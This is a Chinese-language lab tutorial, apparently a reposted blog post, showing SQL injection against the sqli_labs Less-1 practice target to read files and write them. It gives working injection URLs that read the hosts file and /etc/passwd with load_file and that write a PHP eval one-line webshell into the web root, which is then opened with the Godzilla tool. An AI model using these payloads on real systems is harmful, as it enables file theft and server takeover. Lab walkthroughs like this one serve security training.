sql 注入读写文件

sql 注入读写文件

本次实战,以sqli_labs靶场的第1关为例

环境配置准备

要想复现sql注入的读写,首先mysql就需要满足下面的条件

1.要想具有对文件的读写文件的权限,就需要保证当前mysql用户的File_priv为Y:

1.查询当前用户

select user();

image-20230824153503674

根据结果可知,当前mysql用户为root,主机为名为localhost

2.查询root用户在localhost的File_priv权限

select file_priv from mysql.user where user='root' and host='localhost'

image-20230824153704626

2.关闭MySQL 数据库有关于文件读写的安全选项secure_file_priv

在mysql的my.ini配置文件中找到[mysqld],在这个下面添加secure_file_priv=,然后重启服务器即可。

image-20230824152948040

查看secure_file_priv=的值

image-20230824164543579

image-20230824164448163

读取hosts文件

任务:利用sql 注入漏洞,读取hosts 文件

1.获取用户与主机信息

http://localhost/sqli_labs/Less-1/?id=-1' union select 1,2,user() --+

image-20230824155952197

获取到用户为root,主机为localhost,然后将这两个信息作为条件,接下来查看是否有文件读写权限

2.验证File_priv权限

http://localhost/sqli_labs/Less-1/?id=-1' union select  1,file_priv,3 from mysql.user where user='root' and host='localhost' --+

image-20230824160340209

回显Y,说明有文件读写权限

3.读取hosts文件

使用load_file() 函数

http://localhost/sqli_labs/Less-1/?id=-1'union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3 --+

image-20230824160828097

发现读取成功,看到了hosts文件的内容。

4.注意

想要读取某个文件,除了需要需要关闭mysql中的安全选项secure_file_priv与当前mysql用户具有File_priv权限之外,还要确保当前系统用户具有访问hosts文件的权限。

如果目标是linux系统,就直接从/根目录下读取相应的文件了。

and 1=2 union select 1,load_file("/etc/passwd"),3

上传webshell

利用sql 注入漏洞,上传webshell,并用哥斯拉(godzila)连接。

利用select into outfile语句,将一句话木马信息上传至网站根目录下,因为要想访问木马文件,就必须将木马文件放在网站的根目录,phpstudy的根目录在www目录,具体的绝对路径就需要经过其他方式进行信息收集了。

1.上传一句话木马

<?php @eval($_REQUEST[777]);phpinfo()?>

通过联合注入的方式,

http://localhost/sqli_labs/Less-1/?id=-1' union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "G:\\SOFT\\netSecurity\\soft\\phpstudy2016\\phstudy2016-zc\\WWW\\2.php" --+

image-20230824162800825

2.哥斯拉连接

image-20230824163942015

image-20230824164013117

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132483954